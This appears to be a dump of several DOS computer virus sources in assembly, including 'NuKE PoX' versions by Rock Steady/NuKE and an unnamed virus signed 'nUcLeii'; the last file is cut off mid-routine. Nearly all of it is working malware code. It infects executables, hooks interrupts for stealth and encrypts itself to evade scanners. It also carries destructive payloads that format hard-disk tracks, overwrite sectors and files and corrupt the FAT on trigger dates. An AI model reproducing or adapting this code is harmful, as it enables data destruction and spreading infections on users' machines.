|
||||
push cx
|
||||
mov si,dx
|
||||
mov cx,256h
|
||||
|
||||
locloop_52:
|
||||
cmp byte ptr [si],2Eh ; '.'
|
||||
je loc_53 ; Jump if equal
|
||||
inc si
|
||||
loop locloop_52 ; Loop if cx > 0
|
||||
|
||||
loc_53:
|
||||
cmp word ptr [si-2],4E41h
|
||||
jne loc_54 ; Jump if not equal
|
||||
cmp word ptr [si-4],4353h
|
||||
je loc_57 ; Jump if equal
|
||||
loc_54:
|
||||
cmp word ptr [si-2],4E41h
|
||||
jne loc_55 ; Jump if not equal
|
||||
cmp word ptr [si-4],454Ch
|
||||
je loc_57 ; Jump if equal
|
||||
loc_55:
|
||||
cmp word ptr [si-2],544Fh
|
||||
jne loc_56 ; Jump if not equal
|
||||
cmp word ptr [si-4],5250h
|
||||
je loc_57 ; Jump if equal
|
||||
loc_56:
|
||||
pop cx
|
||||
pop si
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
loc_57:
|
||||
pop cx
|
||||
pop si
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
sub_11 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_12 proc near
|
||||
mov ax,5700h
|
||||
call sub_2
|
||||
mov al,cl
|
||||
or cl,1Fh
|
||||
dec cx
|
||||
xor al,cl
|
||||
retn
|
||||
sub_12 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_13 proc near
|
||||
push bx
|
||||
push cx
|
||||
mov cl,7
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
mov bx,ax
|
||||
mov cl,9
|
||||
shr bx,cl ; Shift w/zeros fill
|
||||
add dx,bx
|
||||
and ax,1FFh
|
||||
jz loc_58 ; Jump if zero
|
||||
inc dx
|
||||
loc_58:
|
||||
pop cx
|
||||
pop bx
|
||||
mov cs:data_22,ax
|
||||
mov cs:data_24,dx
|
||||
mov ah,40h ; '@'
|
||||
mov dx,77Eh
|
||||
mov cx,1Bh
|
||||
call sub_2
|
||||
retn
|
||||
sub_13 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_14 proc near
|
||||
pushf ; Push flags
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push ss
|
||||
push sp
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,74Bh
|
||||
mov ax,4300h
|
||||
call sub_2
|
||||
jc loc_60 ; Jump if carry Set
|
||||
test cl,1
|
||||
jz loc_59 ; Jump if zero
|
||||
and cl,0FEh
|
||||
mov ax,4301h
|
||||
call sub_2
|
||||
jc loc_62 ; Jump if carry Set
|
||||
loc_59:
|
||||
mov ax,3D02h
|
||||
call sub_2
|
||||
loc_60:
|
||||
jc loc_62 ; Jump if carry Set
|
||||
mov bx,ax
|
||||
call sub_12
|
||||
jz loc_62 ; Jump if zero
|
||||
mov data_18,cx
|
||||
mov data_19,dx
|
||||
mov ah,3Fh ; '?'
|
||||
mov cx,3
|
||||
mov dx,77Eh
|
||||
call sub_2
|
||||
jc loc_61 ; Jump if carry Set
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
jc loc_62 ; Jump if carry Set
|
||||
mov cx,ax
|
||||
sub cx,3
|
||||
mov data_20,cx
|
||||
call sub_6
|
||||
jc loc_62 ; Jump if carry Set
|
||||
mov ah,40h ; '@'
|
||||
mov dx,760h
|
||||
mov cx,3
|
||||
call sub_2
|
||||
loc_61:
|
||||
mov cx,data_18
|
||||
mov dx,data_19
|
||||
mov ax,5701h
|
||||
call sub_2
|
||||
mov ah,3Eh ; '>'
|
||||
call sub_2
|
||||
loc_62:
|
||||
pop sp
|
||||
pop ss
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf ; Pop flags
|
||||
retn
|
||||
sub_14 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_15 proc near
|
||||
mov cx,cs:data_28
|
||||
mov cs:data_13,cx
|
||||
mov cx,cs:data_29
|
||||
mov cs:data_14,cx
|
||||
mov cx,cs:data_27
|
||||
mov cs:data_15,cx
|
||||
mov cx,cs:data_26
|
||||
mov cs:data_16,cx
|
||||
push ax
|
||||
push dx
|
||||
call sub_10
|
||||
sub dx,cs:data_25
|
||||
mov word ptr cs:data_12,dx
|
||||
push ax
|
||||
push dx
|
||||
call sub_6
|
||||
pop dx
|
||||
pop ax
|
||||
mov cs:data_29,dx
|
||||
mov cs:data_28,ax
|
||||
pop dx
|
||||
pop ax
|
||||
retn
|
||||
sub_15 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_16 proc near
|
||||
add ax,696h
|
||||
adc dx,0
|
||||
push ax
|
||||
push dx
|
||||
call sub_10
|
||||
sub dx,cs:data_25
|
||||
add ax,40h
|
||||
mov cs:data_26,dx
|
||||
mov cs:data_27,ax
|
||||
pop dx
|
||||
pop ax
|
||||
retn
|
||||
sub_16 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_17 proc near
|
||||
dec cx
|
||||
mov cs:data_18,cx
|
||||
mov cs:data_19,dx
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
push cx
|
||||
push dx
|
||||
sub dx,1Bh
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
call sub_2
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,3Fh ; '?'
|
||||
mov cx,1Bh
|
||||
mov dx,77Eh
|
||||
call sub_2
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
mov ax,4200h
|
||||
call sub_2
|
||||
mov ah,40h ; '@'
|
||||
mov dx,77Eh
|
||||
mov cx,1Bh
|
||||
cmp cs:data_21,5A4Dh
|
||||
je loc_64 ; Jump if equal
|
||||
mov cx,3
|
||||
loc_64:
|
||||
call sub_2
|
||||
pop dx
|
||||
pop cx
|
||||
sub dx,696h
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
call sub_2
|
||||
mov ah,40h ; '@'
|
||||
xor cx,cx ; Zero register
|
||||
call sub_2
|
||||
mov cx,cs:data_18
|
||||
mov dx,cs:data_19
|
||||
mov ax,5701h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; set file date+time, bx=handle
|
||||
; cx=time, dx=time
|
||||
mov ah,3Eh ; '>'
|
||||
call sub_2
|
||||
retn
|
||||
sub_17 endp
|
||||
|
||||
db 'C:\COMMAND.COM'
|
||||
db 0
|
||||
data_18 dw 0
|
||||
data_19 dw 0
|
||||
db 00h, 00h,0E9h
|
||||
data_20 dw 9090h
|
||||
db 'NuKE PoX V2.1 - Rock Steady'
|
||||
data_21 dw 0CD90h ; Data table (indexed access)
|
||||
data_22 dw 20h
|
||||
data_24 dw 0
|
||||
db 0, 0
|
||||
data_25 dw 0
|
||||
db 0, 0, 0, 0
|
||||
data_26 dw 0
|
||||
data_27 dw 0
|
||||
db 0, 0
|
||||
data_28 dw 0
|
||||
data_29 dw 0
|
||||
db 0, 0, 0
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
|
@ -0,0 +1,344 @@
|
|||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
;-* (c) Rock Steady, Viral Developments -*
|
||||
;*- (c) NuKE Software Developement 1991, 1992 *-
|
||||
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
|
||||
;*- ~~~~~~ *-
|
||||
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
|
||||
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
|
||||
;-* Encrypted Copies of the Virus) -*
|
||||
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
crypt_size equ crypt - init_virus ;All that gets Incrypted
|
||||
virus_size equ last - init_virus ;Size of the Virus
|
||||
mut1 equ 3
|
||||
mut2 equ 1
|
||||
mut3 equ 103h
|
||||
del_code equ 53h ;CTRL-ATL-DEL Key
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
rocko proc far
|
||||
|
||||
start: jmp init_virus ;+3 bytes
|
||||
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
|
||||
call doit_now ;Doit VirusMan... ;+3 Bytes
|
||||
;========
|
||||
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
|
||||
sub bp,109h ;have to be added to the 100h! This
|
||||
push ax ;SETs our `Delta Pointer'.
|
||||
push bx
|
||||
push cx
|
||||
push dx ;Save registers
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,0abcdh ;Are we resident Already?
|
||||
int 21h
|
||||
cmp bx,0abcdh ;Yupe... Quit Then...
|
||||
je exit_com
|
||||
|
||||
push cs ;Get CS=DS
|
||||
pop ds
|
||||
mov cx,es
|
||||
|
||||
mov ax,3509h ;Hook Int 9 Please...
|
||||
int 21h
|
||||
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
|
||||
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
|
||||
|
||||
mov ax,3521h ;Some AVs may INTCEPT this Call!
|
||||
int 21h ;May be better to go Manually...
|
||||
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
||||
mov word ptr cs:[int21][bp],bx ;Vector Table
|
||||
|
||||
dec cx ;Get a new Memory block
|
||||
mov es,cx ;Put it Back to ES
|
||||
mov bx,es:mut1
|
||||
mov dx,virus_size+virus_size ;Size to `Hide'
|
||||
mov cl,4 ;And all this crap hides
|
||||
shr dx,cl ;your number of bytes in DX
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4ah ;Call int to do it...
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
mov ah,48h
|
||||
dec dx
|
||||
mov bx,dx ;It's Done... Yeah!
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8h ;Here we move our Virus into
|
||||
mov es:mut2,cx ;the `Hidden' memory!
|
||||
sub ax,0fh
|
||||
mov di,mut3
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,offset init_virus
|
||||
mov cx,virus_size
|
||||
cld
|
||||
repne movsb
|
||||
|
||||
mov ax,2521h ;Restore Int21 with ours
|
||||
mov dx,offset int21_handler ;Where it starts
|
||||
push es
|
||||
pop ds
|
||||
int 21h
|
||||
|
||||
mov ax,2509h ;Restore Int9 with ours
|
||||
mov dx,offset int9_handler ;The Handler...
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
exit_com:
|
||||
mov bx,offset buffer ; Its a COM file restore
|
||||
add bx,bp ; First three Bytes...
|
||||
mov ax,[bx] ; Mov the Byte to AX
|
||||
mov word ptr ds:[100h],ax ; First two bytes Restored
|
||||
add bx,2 ; Get the next Byte
|
||||
mov al,[bx] ; Move the Byte to AL
|
||||
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
|
||||
pop ds
|
||||
pop es
|
||||
pop bp ; Restore Regesters
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ; Jump Back to Beginning
|
||||
push ax ; Restores our IP (a CALL
|
||||
retn ; Saves them, now we change
|
||||
int21 dd ? ;Our Old Int21
|
||||
int9 dd ? ;Our Old Int9
|
||||
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int9_handler:
|
||||
push ax
|
||||
in al,60h ;Has the user attempted a
|
||||
cmp al,del_code ;CTRL-ALT-DEL
|
||||
je warm_reboot ;Yes! Screw him
|
||||
bye_bye: pop ax
|
||||
jmp dword ptr cs:[int9] ;Nope, Leave alone
|
||||
warm_reboot:
|
||||
mov ah,2ah ;Get Date Please
|
||||
int 21h
|
||||
cmp dl,18h ;Is it 24th of the Month?
|
||||
jne bye_bye ;Yes, bye_Bye HD
|
||||
mov ch,0
|
||||
hurt_me: mov ah,05h
|
||||
mov dh,0
|
||||
mov dl,80h ;Formats a few tracks...
|
||||
int 13h ;Hurts So good...
|
||||
inc ch
|
||||
cmp ch,20h
|
||||
loopne hurt_me
|
||||
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
|
||||
iret
|
||||
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
dir_handler:
|
||||
pushf
|
||||
push cs
|
||||
call int21call ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected ;Not for us man...
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,1dh ;Is in 58 seconds?
|
||||
jnz not_infected ;Nope...
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],virus_size ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int21_handler:
|
||||
cmp ax,4b00h ;File executed
|
||||
je execute
|
||||
cmp ah,11h ;Dir handler
|
||||
je dir_handler
|
||||
cmp ah,12h ;Next file Dir handler
|
||||
je dir_handler
|
||||
cmp ax,0abcdh ;Virus testing
|
||||
jne int21call
|
||||
mov bx,0abcdh
|
||||
int21call:
|
||||
jmp dword ptr cs:[int21] ;Split...
|
||||
ret
|
||||
execute:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,4300h ;Get file Attribs
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
test cl,1h ;Make sure there normal
|
||||
jz open_file ;Okay there are
|
||||
and cl,0feh ;Nope, Fix them...
|
||||
mov ax,4301h ;Save them now
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
open_file: mov ax,3D02h
|
||||
int 21h ;Open File to Infect please
|
||||
|
||||
jc exit ;Error Split
|
||||
mov bx,ax ;BX File handler
|
||||
mov ax,5700h ;Get file TIME + DATE
|
||||
int 21h
|
||||
|
||||
mov al,cl
|
||||
or cl,1fh ;Un mask Seconds
|
||||
dec cx ;60 seconds
|
||||
dec cx ;58 seconds
|
||||
xor al,cl ;Is it 58 seconds?
|
||||
jz exit ;File already infected
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[old_time],cx ;Save Time
|
||||
mov word ptr ds:[old_date],dx ;Save Date
|
||||
|
||||
mov ah,3Fh
|
||||
mov cx,3h
|
||||
mov dx,offset ds:[buffer] ;Read first 3 bytes
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
mov ax,4202h ;Move file pointer to end
|
||||
xor cx,cx ;of file...
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
|
||||
je exit ;Yupe! Split
|
||||
mov cx,ax
|
||||
sub cx,3 ;Set the JMP
|
||||
mov word ptr cs:[jump_address+1],cx
|
||||
call infect_me ;Infect!
|
||||
jc exit_now ;error split
|
||||
mov ah,40h ;Write back the first 3
|
||||
mov dx,offset ds:[jump_address] ;bytes
|
||||
mov cx,3h
|
||||
int 21h
|
||||
exit_now:
|
||||
mov cx,word ptr cs:[old_time] ;Restore old time
|
||||
mov dx,word ptr cs:[old_date] ;Restore Old date
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h ;Close File now...
|
||||
exit:
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr cs:[int21] ;Jmp back to whatever
|
||||
rocko endp
|
||||
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
infect_me proc near
|
||||
mov ah,2ch ;Get Time
|
||||
int 21h
|
||||
push dx ;Split seconds to AX
|
||||
pop ax
|
||||
mov byte ptr cs:[value],al ;AL = 0 to 99
|
||||
;New Encryption Value
|
||||
mov cx,virus_size
|
||||
push cs
|
||||
pop es ;Copy ANOTHER copy of the
|
||||
mov si,offset init_virus ;Virus to the end of us
|
||||
mov di,offset last
|
||||
repne movsb
|
||||
|
||||
mov cx,crypt_size
|
||||
sub cx,3h ;Encrypt that 2nd copy!
|
||||
push bp
|
||||
mov bp,offset last + 3h
|
||||
call decrypt_encrypt
|
||||
pop bp
|
||||
|
||||
mov ah,40h ;Write the New Encrypted
|
||||
mov dx,offset last ;Virus to File!
|
||||
mov cx,virus_size
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Error Split
|
||||
mov ax,4200h
|
||||
xor cx,cx ;Pointer back to beginning
|
||||
xor dx,dx ;file!
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Split Dude...
|
||||
clc ;Clear carry flag
|
||||
retn
|
||||
exit_error:
|
||||
stc ;Set carry flag
|
||||
retn
|
||||
infect_me endp
|
||||
old_time dw ?
|
||||
old_date dw ?
|
||||
jump_address db 0E9h,90h,90h
|
||||
buffer db 90h,0CDh,020h
|
||||
crypt:
|
||||
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
|
||||
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
|
||||
decrypt proc near
|
||||
pop bp
|
||||
push bp
|
||||
mov al,byte ptr [value-106h][bp] ;Get new Encryption
|
||||
mov cx,crypt_size ;Value
|
||||
decrypt_encrypt:
|
||||
xor cs:[bp],al ;Fuck Scanners and put a
|
||||
inc bp ;`NOT AL' anywhere here...
|
||||
loop decrypt_encrypt
|
||||
retn
|
||||
value db 00h ;Encryption value!
|
||||
decrypt endp
|
||||
last:
|
||||
seg_a ends
|
||||
end start
|
|
@ -0,0 +1,317 @@
|
|||
;hmm.,.,.,.,without a name.,.,.,.,
|
||||
;this file is much like the 606, only it
|
||||
;is much more harmful...it has a special suprise
|
||||
;for three diffrent dates....hehehehe.,.,,..,.,
|
||||
;i had planned to have it in with the other TR-
|
||||
;series, but this was much to large to add in with.,.,
|
||||
;enjoy!....
|
||||
; nUcLeii
|
||||
; [*v i a*]===[98]
|
||||
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
seg_a segment byte public
|
||||
ASSUME CS: SEG_A, DS: SEG_A, ES: SEG_A
|
||||
|
||||
filename equ 30 ;find file name
|
||||
fileattr equ 21 ;find file attributes
|
||||
filedate equ 24 ;find file date
|
||||
filetime equ 22 ;fine file time
|
||||
|
||||
org 100h
|
||||
|
||||
main proc
|
||||
start:
|
||||
call dirloc
|
||||
|
||||
infect:
|
||||
mov dx, 100h
|
||||
mov bx, handle
|
||||
mov cx, 1203
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
ret
|
||||
|
||||
dirloc:
|
||||
mov dx, offset dirdat ;offset to hold new dta
|
||||
mov ah, 1ah ;set dta address
|
||||
int 21h
|
||||
|
||||
newdir:
|
||||
mov ah,19h ;get drive code
|
||||
int 21h
|
||||
mov dl, al ;save drive code
|
||||
inc dl ;add one to dl (functions differ)
|
||||
mov ah, 47h ;get current directory
|
||||
mov si, offset currentdir ;buffer to save directory in
|
||||
int 21h
|
||||
mov dx, offset daroot ;move dx to change to root
|
||||
mov ah, 3bh ;change directory to root
|
||||
int 21h
|
||||
|
||||
find:
|
||||
mov cx, 13h ;include hidden/ro dir.
|
||||
mov dx, offset wild ;look for '*'
|
||||
mov ah, 4eh ;find file
|
||||
int 21h
|
||||
cmp ax, 12h ;no file?
|
||||
jne findmore ;no dir? screw it then.
|
||||
|
||||
wank1:
|
||||
jmp rollout
|
||||
|
||||
findmore:
|
||||
mov ah, 4fh ;find next target
|
||||
int 21h
|
||||
cmp ax, 12h
|
||||
je wank ;no more? crew it then.
|
||||
|
||||
keepgoin:
|
||||
mov dx, offset dirdat+filename ;point dx to fcb-filename
|
||||
mov ah, 3bh ;change directory
|
||||
int 21h
|
||||
mov ah, 2fh ;get current dta address
|
||||
int 21h
|
||||
mov [diskdat], es ;save old segment
|
||||
mov [diskdatofs], bx ;save old offset
|
||||
mov dx, offset filedat ;offset to hold new dta
|
||||
mov ah, 1ah ;set dta address
|
||||
int 21h
|
||||
|
||||
checkit:
|
||||
mov cx, 07h ;find any attribute
|
||||
mov dx, offset filetype ;point dx to exe files
|
||||
mov ah, 4eh ;find first file function
|
||||
int 21h
|
||||
cmp ax, 12h ;was it found?
|
||||
jne change
|
||||
|
||||
nextfile:
|
||||
mov ah, 4fh ;find next file
|
||||
int 21h
|
||||
cmp ax,12h ;none found
|
||||
jne change ;see what we can do...
|
||||
mov dx, offset daroot ;dx to change to root directory
|
||||
mov ah, 3bh
|
||||
int 21h
|
||||
mov ah, 1ah ;set dta address
|
||||
mov ds, [diskdat] ;restore old segment
|
||||
mov dx, [diskdatofs] ;restore old offset
|
||||
int 21h
|
||||
jmp findmore
|
||||
wank:
|
||||
jmp rollout
|
||||
|
||||
change:
|
||||
mov ah, 2fh ;temp. store dta
|
||||
int 21h
|
||||
mov [tempseg], es ;save old segment
|
||||
mov [tempofs], bx ;save old offset
|
||||
mov dx, offset filedat+filename
|
||||
mov bx, offset filedat ;save file...
|
||||
mov ax, [bx]+filedate ;tha date
|
||||
mov orig_date, ax
|
||||
mov ax, [bx]+filetime ;tha time
|
||||
mov orig_time, ax
|
||||
mov ax, [bx]+fileattr ;tha attributes
|
||||
mov ax, 4300h
|
||||
int 21h
|
||||
mov orig_attr, cx
|
||||
mov ax, 4301h ;change attributes
|
||||
xor cx, cx ;clear attributes
|
||||
int 21h
|
||||
mov ax, 3d00h ;open file and read
|
||||
int 21h
|
||||
jc fixup ;error?..go get another!
|
||||
mov handle, ax ;save handle
|
||||
mov ah, 3fh ;read from file
|
||||
mov bx, handle ;move handle to bx
|
||||
mov cx, 02h ;read 2 bytes
|
||||
mov dx, offset idbuffer ;save to buffer
|
||||
int 21h
|
||||
mov ah, 3eh ;close it for now
|
||||
mov bx, handle ;load bx with handle
|
||||
int 21h
|
||||
mov bx, idbuffer ;give bx the id string
|
||||
cmp bx, 02ebh ;are we infected?
|
||||
jne doit ;hmm...go get another.
|
||||
|
||||
fixup:
|
||||
mov ah, 1ah ;set dta address
|
||||
mov ds, [tempseg] ;restore old segment
|
||||
mov dx, [tempofs] ;restore old offset
|
||||
int 21h
|
||||
jmp nextfile
|
||||
|
||||
doit:
|
||||
mov dx, offset filedat+filename
|
||||
mov ax, 3d02h ;open victim read/write access
|
||||
int 21h
|
||||
mov handle, ax ;save handle
|
||||
call infect ;do your job...
|
||||
;mov ax, 3eh
|
||||
;int 21h
|
||||
|
||||
rollout:
|
||||
mov ax, 5701h ;restore original...
|
||||
mov bx, handle ;handle
|
||||
mov cx, orig_time ;time
|
||||
mov dx, orig_date ;date
|
||||
int 21h
|
||||
mov ax, 4301h ;and attributes
|
||||
mov cx, orig_attr
|
||||
mov dx, offset filedat+filename
|
||||
int 21h
|
||||
;mov bx, handle
|
||||
;mov ax, 3eh ;close em"
|
||||
;int 21h
|
||||
mov ah, 3bh ;try this for speed...
|
||||
mov dx, offset daroot
|
||||
int 21h
|
||||
mov ah, 3bh ;change directory
|
||||
mov dx, offset currentdir ;back to the original
|
||||
int 21h
|
||||
mov ah, 2ah ;check system date
|
||||
int 21h
|
||||
cmp cx, 1998 ;hehe..if not then your already
|
||||
jb getout ;screwed an ill leave ya alone.
|
||||
cmp dl, 15 ;is it the 15th?...muhahaha
|
||||
jne goaway ;not?...lucky you.
|
||||
cmp dl, 19 ;is it the 19th?...muhahaha
|
||||
je alter_fat ;your gonna have a few crosslinks...
|
||||
cmp dl, 29 ;is it the 29th?...muhahaha
|
||||
je ouch ;your screwed,..,.,.,.,
|
||||
mov dx, offset dirdat ;offset to hold new dta
|
||||
mov ah, 1ah ;set dta address
|
||||
int 21h
|
||||
mov ah, 4eh ;find first file
|
||||
mov cx, 7h
|
||||
mov dx, offset allfiles ;offset *.* ...hehehe...
|
||||
jmp rockem
|
||||
|
||||
getout:
|
||||
call outta
|
||||
|
||||
goaway:
|
||||
call outta
|
||||
|
||||
rockem:
|
||||
int 21h
|
||||
jc goaway ;error? screw it then...
|
||||
mov ax, 4301h ;find all "normal" files
|
||||
xor cx, cx
|
||||
int 21h
|
||||
mov dx, offset dirdat+filename
|
||||
mov ah, 3ch ;write to all files in current dir.
|
||||
int 21h
|
||||
jc outta ;error? screw it then...
|
||||
mov ah, 4fh ;find next file
|
||||
jmp rockem
|
||||
|
||||
ouch:
|
||||
xor dx, dx ;clear dx
|
||||
|
||||
rip_hd1:
|
||||
mov cx, 1 ;track 0, sector 1
|
||||
mov ax, 311h ;17 secs per track (hopefully!)
|
||||
mov dl, 80h
|
||||
mov bx, 5000h
|
||||
mov es, bx
|
||||
int 13h ;kill 17 sectors
|
||||
jae rip_hd2
|
||||
xor ah, ah
|
||||
int 13h ;reset disks if needed
|
||||
rip_hd2:
|
||||
inc dh ;increment head number
|
||||
cmp dh, 4 ;if head number is below 4 then
|
||||
jb rip_hd1 ;go kill another 17 sectors
|
||||
inc ch ;increase track number and
|
||||
jmp ouch ;do it again
|
||||
|
||||
alter_fat:
|
||||
push dx
|
||||
push bx
|
||||
push cx
|
